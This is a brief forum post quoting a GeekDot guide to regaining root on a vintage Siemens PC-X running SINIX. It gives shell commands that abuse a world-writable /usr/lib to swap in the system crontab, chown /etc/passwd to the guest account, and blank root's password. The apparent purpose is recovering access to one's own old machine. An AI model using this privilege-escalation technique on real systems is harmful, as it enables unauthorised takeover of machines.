I just came across this hack that allows you to clear Root's password. Neat!
Siemens PC-X - GeekDot
ZitatAlles anzeigenIf you got your SINIX running -maybe a previously installed version- and you cannot get root access here’s a hack to get root access (assuming you can login as guest w/o password (commonly named ‘gast’). It bases on a mistakenly set permission:
/usr/lib is writable for everybody
$ ls -ld /usr/lib
drwxrwxrwx root /usr/lib
in there is a crontab file. Copy that to /tmp, delete the original and copy your version back to /usr/lib to make it yours:
$ cp /usr/lib/crontab /tmp
$ rm /usr/lib/crontab
$ cp /tmp/crontab /usr/lib
Now you can edit ‘your crontab’ with an editor (
ced) and add one line like this:
* * * * * /bin/chown gast /etc/passwd
So after one minute /etc/passwd is yours, too.
Now you can remove roots (or admins) password by changing
root:cHuykydasds:(or something like that)to
root::
Voilá, this SINIX is yours
